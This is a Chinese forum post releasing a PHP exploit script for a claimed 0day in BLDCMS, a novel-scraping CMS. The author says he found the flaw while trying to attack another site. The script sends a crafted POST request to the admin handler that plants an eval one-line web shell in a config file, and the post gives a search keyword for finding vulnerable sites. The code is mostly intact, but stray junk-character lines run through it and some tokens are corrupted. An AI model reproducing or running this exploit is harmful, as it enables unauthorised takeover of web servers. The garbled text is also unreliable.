BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
8 M1 Z4 f0 j  d9 M: P; g+ `5 r
+ M* e4 b, S9 e5 ?
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了

既然都有人发了 我就把我之前写好的EXP放出来吧

view source print?01.php;">
02.<!--?php
+ W3 A* u/ t# F9 U" P  c03.echo "-------------------------------------------------------------------
( o) k# i& _( [% ?04.
05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
0 ]1 |9 O( V. V' S1 t08.
* H9 a! z, F4 F6 g& ~09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
3 p/ L, B! e( Q& Z11.
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
/ B. \  g- g5 M  P1 @, J13.
& [  j: a5 {. a4 f14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
15.
9 `& M  ]/ P8 ^5 K16.--------------------------------------------------------------------\r\n";
17.$url=$argv[1];
18.$dir=$argv[2];
$ T4 R& g7 g* Q0 ?. C19.$pass=$argv[3];
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
) ^* f# p, q# }7 K21.if (emptyempty($pass)||emptyempty($url))
! x$ A; ^4 `8 j7 t22.{exit("请输入参数");}
23.else
24.{
& g4 v8 V' [! r' }25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
27.al;
28.$length = strlen($fuckdata);
29.function getshell($url,$pass)
30.{
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
7 G2 ?; u; {% r- ~1 V" P32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
9 w/ `8 B; p. C1 p) W+ i/ l/ T' S33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
34.$header .= "User-Agent: MSIE\r\n";
35.$header .= "Host:".$url."\r\n";
36.$header .= "Content-Length: ".$length."\r\n";
, x. R# \* j( d" K6 P; X! s37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
39.$header .= $fuckdata."\r\n\r\n";
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
41.if (!$fp)
42.{
43.exit ("利用失败:请检查指定目标是否能正常打开");
0 `- n" c" M% e0 L0 Y( {44.}
45.else{ if (!fputs($fp,$header))
7 |- I' Z- \2 ?" L' F/ k46.{exit ("利用失败");}
47.else
. S7 R- X/ [: S48.{
49.$receive = '';
50.while (!feof($fp)) {
, M3 D. q7 g+ C$ i8 N8 @+ b3 ^51.$receive .= @fgets($fp, 1000);
52.}
53.@fclose($fp);
! k1 C4 `! t9 P7 f. H* A. Q54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
55.
56.GPC是否=off)";
57.}}
4 Y8 j; j9 T- a  ~58.}
59.}
60.getshell($url,$pass);
61.?-->
$ b. w" `8 i; D# s9 M


$ D# c! o& ^! A: lby 数据流